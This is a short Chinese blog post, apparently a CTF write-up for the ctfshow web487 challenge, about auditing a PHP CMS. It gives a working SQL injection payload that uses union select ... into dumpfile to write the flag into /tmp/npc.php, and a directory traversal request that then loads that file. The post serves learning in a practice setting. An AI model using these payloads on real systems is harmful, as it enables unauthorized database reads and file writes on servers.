(补)ctfshow中期测评

Npce3r

于 2021-09-12 22:17:38 发布

阅读量306

点赞数

分类专栏： CTF学习文章标签： php

本文链接：https://blog.youkuaiyun.com/lleo1/article/details/120256756

版权

13 篇文章

订阅专栏

博主分享了web487和web488的CMS审计过程，涉及目录穿越、SQL注入技巧，以及权限限制下的漏洞利用。通过盲注脚本和Y4giegie的方法，探讨了如何利用这些技巧进行安全检测。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

web487

目录穿越直接action=1看报错然后猜action=flag

因为是写到后面才补的博客所以没留下什么就剩两张图片了
在这里插入图片描述
简单的盲注脚本脚本找不到了
回过头写wp 看看其他大佬的博客还是能学到很多的
Y4giegie的sql注法直接外带

?action=check&username=1') union select flag from flag into dumpfile '/tmp/npc.php'%23&password=1

查询：index.php?action=../../../../../tmp/npc

这里注意一下权限问题 web目录没有写入权限所以就写进tmp目录